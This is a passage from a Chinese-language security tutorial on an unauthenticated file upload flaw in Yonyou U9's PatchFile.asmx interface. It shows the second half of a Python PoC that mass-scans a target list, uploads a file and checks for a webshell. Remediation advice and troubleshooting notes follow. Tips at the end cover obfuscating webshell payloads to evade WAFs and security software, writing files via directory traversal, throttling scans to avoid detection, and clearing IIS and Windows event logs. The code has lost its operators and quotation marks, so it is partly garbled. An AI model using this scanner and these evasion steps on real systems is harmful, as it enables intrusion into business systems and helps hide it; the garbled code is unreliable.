datasoap_body, headersheaders, timeout15, verifyFalse) except requests.exceptions.RequestException as e: return False, f请求失败: {e} # 6. 分析响应判断漏洞 if resp.status_code 200: # 关键判断1: 响应内容中是否包含成功标识 if SaveFileResult in resp.text: # 关键判断2: 尝试访问上传的文件进行二次验证 # 从请求中提取我们生成的文件名 # 注意这里简单处理实际文件名是动态的 check_{timestamp}.ashx # 我们需要从soap_body中解析出fileName或者根据规则拼接访问URL # 这里我们根据生成规则反向构造访问URL import re # 从soap_body中提取文件名更可靠 file_name_match re.search(rfileName(.*?)/fileName, soap_body) if file_name_match: uploaded_file file_name_match.group(1) shell_url urljoin(target, f/CS/Office/AutoUpdates/{uploaded_file}) try: shell_resp requests.get(shell_url, timeout10, verifyFalse) if shell_resp.status_code 200 and Hello from Vuln Check in shell_resp.text: return True, f漏洞存在WebShell地址: {shell_url} else: return True, f漏洞可能存在上传API返回成功但文件访问异常: {shell_resp.status_code} except: return True, 漏洞可能存在上传API返回成功但文件访问失败 return True, 漏洞可能存在上传API返回成功 else: return False, 接口可访问但未返回成功标识可能已修复或参数不正确。 elif resp.status_code 404: return False, 目标不存在404 elif resp.status_code 403: return False, 访问被禁止403 else: return False, fHTTP状态码异常: {resp.status_code} def main(target_list_file): 主函数读取文件中的目标并进行批量检测。 with open(target_list_file, r) as f: targets [line.strip() for line in f if line.strip()] print(f[*] 开始批量检测共 {len(targets)} 个目标) vulnerable [] for idx, target in enumerate(targets, 1): # 确保目标有协议头 if not target.startswith(http): target http:// target print(f[{idx}/{len(targets)}] 正在检测: {target}) is_vuln, message check_vulnerability(target) if is_vuln: print(f [] 存在漏洞详情: {message}) vulnerable.append((target, message)) else: print(f [-] 未发现漏洞: {message}) # 输出总结报告 print(\n *50) print([*] 检测完成) print(f[*] 总共检测: {len(targets)} 个目标) print(f[*] 存在漏洞: {len(vulnerable)} 个) if vulnerable: print([*] 漏洞目标列表:) for target, msg in vulnerable: print(f - {target} : {msg}) # 可选将漏洞目标保存到文件 with open(vulnerable_targets.txt, w) as f: for target, _ in vulnerable: f.write(target \n) print([*] 漏洞目标已保存至 vulnerable_targets.txt) if __name__ __main__: if len(sys.argv) ! 2: print(用法: python u9_patchfile_poc.py 目标列表文件) sys.exit(1) main(sys.argv[1])4.3 脚本使用技巧与注意事项目标列表格式每行一个目标可以是IP如192.168.1.1或域名如target.com脚本会自动补全http://协议头。建议先使用https失败再回退http的逻辑可以进一步增强脚本的健壮性。超时与重试在生产环境中网络环境复杂建议为请求添加重试机制如使用requests.adapters.HTTPAdapter设置重试。并发与速率限制使用concurrent.futures.ThreadPoolExecutor可以轻松实现多线程并发。但务必设置合理的线程数如20-50并在每个请求间添加微小延迟time.sleep(0.1)避免触发目标的速率限制或被视为DoS攻击。错误处理脚本中已包含基本的异常捕获但在并发环境下需要更精细地处理每个线程的异常确保一个线程的崩溃不会影响整体运行。合法性务必仅在您拥有书面授权测试的目标上运行此脚本。未经授权对他人系统进行漏洞扫描是违法行为。注意事项此脚本仅为教育目的演示漏洞验证的逻辑。在实际的渗透测试或安全评估中需要根据具体环境调整Payload、路径和判断逻辑。例如有些系统可能对path参数有不同要求或者Web根目录不在默认位置。5. 漏洞修复与安全加固建议验证漏洞的存在是为了最终修复它。对于系统管理员和安全工程师在确认漏洞后应立即采取行动。5.1 临时应急措施如果无法立即升级或打补丁可以采取以下临时措施阻断攻击访问控制在防火墙、WAFWeb应用防火墙或服务器的安全组策略中立即拦截对/CS/Office/AutoUpdates/PatchFile.asmx这个路径的访问。这是最快速有效的方法。文件系统权限检查PatchFile.asmx文件所在目录的NTFSWindows或文件系统权限确保应用程序池或网站运行账户对该文件只有“读取”和“执行”权限没有“写入”权限。同时确保运行账户对网站目录的写入权限被严格控制。删除危险文件立即在全网服务器上搜索近期创建的异常.ashx、.aspx、.jsp等Web脚本文件特别是位于上传目录或网站根目录下的并予以删除。同时检查系统日志、Web日志IIS日志寻找攻击痕迹。5.2 根本解决方案联系用友官方获取针对此漏洞的安全补丁并立即安装。这是最根本的解决方法。补丁通常会从代码层面修复SaveFile方法增加强身份认证和授权确保只有经过认证且具有特定权限的用户如系统管理员才能调用此接口。文件类型白名单只允许上传特定后缀如.zip,.patch的文件。路径安全校验对path参数进行规范化并严格限制防止目录遍历。内容安全检查对解码后的文件内容进行简单的恶意代码特征扫描。5.3 长期安全加固策略最小权限原则确保运行用友U9的应用程序池账户遵循最小权限原则仅拥有其运行所必需的最低权限。网络隔离将ERP这类核心业务系统部署在内网并通过VPN等方式供外部必要访问避免直接暴露在公网。如果必须开放应置于DMZ区域并做好严格的访问控制。定期更新与漏洞扫描建立软件补丁管理制度定期关注用友官方及安全社区发布的安全公告及时更新。同时定期对系统进行授权下的安全漏洞扫描和渗透测试。部署WAF在应用前端部署WAF可以有效地拦截和阻断利用此类已知漏洞的攻击payload为修复争取时间。安全开发生命周期对于企业自研或定制的模块应引入安全开发流程对所有的文件上传功能进行严格的安全设计和代码审计。6. 常见问题与排查技巧实录在实际的漏洞验证和应急响应过程中我遇到过不少坑。这里把一些典型问题和排查思路记录下来希望能帮你少走弯路。6.1 漏洞验证失败的可能原因现象可能原因排查思路返回404 Not Found1. 目标系统不是用友U9。2. U9版本不同接口路径有变化。3.AutoUpdates目录被重命名或删除。1. 使用bodylogo-u9.png等特征确认目标身份。2. 尝试目录爆破寻找其他可能的asmx接口路径。3. 检查是否有默认的U9登录页面或其他特征页面。返回403 Forbidden1. 接口设置了IP白名单或基础HTTP认证。2. IIS中对该目录设置了“请求筛选”规则禁止特定扩展名。3. 文件系统权限不足但IIS先返回了403。1. 尝试添加常见的认证头如Basic Auth但成功率低。2. 检查请求包格式是否正确特别是SOAPAction头部。3. 换用其他无害文件名如.txt测试。返回500 Internal Server Error1.path参数指定的目录不存在或不可写。2.binData的Base64编码格式错误或包含非法字符。3. 服务器端代码在处理请求时抛出未处理异常。1. 尝试不同的path值如/、./、../、../../。2. 确保Base64编码正确且Payload是完整的、可编译的C#代码。3. 查看服务器返回的详细错误信息如果配置了详细错误。返回200但无SaveFileResult1. 漏洞已修复接口增加了校验逻辑。2. 请求的SOAP命名空间或方法名不正确。3. 需要特定的会话Cookie或SOAP头。1. 尝试访问上传的文件确认是否真的失败。2. 使用工具如SoapUI尝试发现该Web Service的正确WSDL定义和调用方式。3. 先访问一个U9正常页面获取会话Cookie再携带Cookie发送漏洞利用请求。上传成功但无法访问1. 文件被写入到了非Web可访问目录。2. IIS未配置对.ashx扩展名的处理程序映射。3. 上传的文件被安全软件实时查杀删除。1. 尝试不同的path或使用目录遍历尝试写入网站根目录。2. 尝试上传.aspx或.config文件需注意内容。3. 检查服务器文件系统确认文件是否真实存在。6.2 实战中的技巧与心得“低慢”扫描在进行批量验证时一定要控制请求频率。过快的并发请求极易触发目标的WAF或IPS的防御规则导致IP被封锁。建议设置线程池并在每个请求之间加入随机延时。Payload的伪装直接上传包含明显恶意代码的WebShell很可能被主机安全软件或WAF拦截。可以尝试对Payload进行简单的混淆、编码或者先上传一个内容无害的文件如图片再通过其他漏洞如文件包含、解析漏洞将其作为代码执行。路径的猜测如果默认路径不成功需要猜测Web应用的物理路径。可以结合其他信息泄露漏洞或者尝试一些常见的路径如C:\inetpub\wwwroot\、D:\U9SOFT\等。有时path参数留空或设置为/可能会有意外效果。日志清理在授权测试中如果成功上传了WebShell在测试结束后务必记得清理自己创建的文件和可能产生的日志条目如IIS日志、Windows事件日志中的可疑条目这是职业操守的体现。法律红线我反复强调所有技术研究和测试必须在合法授权的范围内进行。未经授权攻击他人系统无论目的如何都是违法行为。技术应当用于建设与防御而非破坏。这个漏洞的挖掘和利用过程典型地反映了企业应用在面向服务的接口设计上常见的安全疏忽——过度信任客户端输入。作为防御方我们需要时刻牢记“永不信任用户输入”这一安全基本原则对所有输入进行严格的校验、过滤和规范化。而作为安全研究者或渗透测试员理解这类漏洞的模式能帮助我们更高效地发现潜在风险从而更好地守护系统安全。
